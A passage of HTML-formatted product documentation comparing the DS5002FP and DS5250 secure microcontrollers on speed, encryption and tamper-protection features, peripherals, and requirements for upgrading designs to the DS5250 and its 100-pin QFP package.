9.5pt;"> Average clocks per instruction</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">0.63 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> 3.9* </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Average MIPS</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">SECURITY:</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">80-bit proprietary algorithm </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Single DES or 3DES </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Encryption of data in program (single byte)</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">(8-byte block) </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">memory (decrypted in parallel </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 273pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">with program execution)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 273pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 231pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">No </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Yes</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Separate encryption for program and </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">MOVX memory</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">None</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">4096-bit MAA engine</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">(1024-bit public key</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">modular exponentiation </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> Public key cryptography support</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;"> in under 650ms)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">SDI pin</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">SDI pin: no</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">battery/battery attach;</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Destructive reset (DRS) triggers</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">low temperature (< 60°C)**</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">No </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Yes (optional)</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> Timed access on port write</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">48 bytes </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">1024 bytes </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Vector RAM</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">No</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> Yes </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Unique laser ID</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">No</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> Yes</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> Secure loader</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">FLEXIBILITY:</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">1x, idle, stop</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">1x, idle, stop; 2x/4x</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Oscillator clock modes</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">(crystal multiplier); divide</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">by 1024 (PMM); internal ring oscillator</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 105pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">1 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">2 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Serial ports</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">2 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">3 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Timers</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">2</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> 6 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">External interrupts</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">No</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Hardware and loader </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Flash memory support</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 147pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">ROM</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">No Yes** Real-time clock</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">*Zero stretch cycles, 16-bit standard addressing mode.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">**100-pin QFP only.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">Requirements for Upgrading a Design to the DS5250</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">The DS5250 supports most of the DS5002FP features. Exceptions are:</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">• The DS5250 accesses all external memory (or memory-mapped I/O) using the dedicated</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">data bus (BA14–BA0 and BD7–BD0). Accessing memory using a multiplexed address/data</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">bus on ports 0 and 2 is not supported.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">• The program memory cache allows for the fastest possible program execution. The fills and</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">stalls naturally associated with cache operation may therefore affect I/O timing or bit-bang</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">operations.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">• Security enhancements to the DS5250 program memory space may complicate bank</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">switching and/or memory overlay schemes. Specifically, features such as the Program</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">Encryption Key Modifier Register and the use of different encryption schemes for program</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">and data memory may require a reassessment of DS5002FP methods of memory map</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">manipulation.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">• The DS5250 does not support reprogrammable peripheral controller (RPC) mode.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">Upgrading Designs to the 100-Pin QFP</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">The DS5250 in the 100-pin QFP package provides all the features of the 80-pin package except</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">for pin-for-pin compatibility with the DS5002FP and support for the DS5002FP modes of memory</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">interfacing. It also provides the following features:</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">• Expanded memory-interfacing options, up to 4MB of program and data memory and 4MB of</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">memory-mapped I/O</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">• On-board RTC (driven by an external 32.768kHz crystal), useful for time stamping and </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">selfimposed</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">expiration dates</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">• Temperature sensor that can trigger a DRS in response to a low-temperature attack</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">• Additional SDI input pin that can be wired to an interrupt to allow a software-controlled</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">tamper response</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
